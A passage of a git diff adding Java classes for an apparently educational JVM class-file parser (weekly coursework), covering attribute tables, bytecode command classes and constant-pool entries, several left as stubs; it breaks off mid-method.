+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..14db5dca46
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..2a8dfb6123
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,102 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..2bb36340f5
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,85 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..c8e65ff493
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..88353df2d3
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..7130eb3a9f
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..7ae71396ef
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
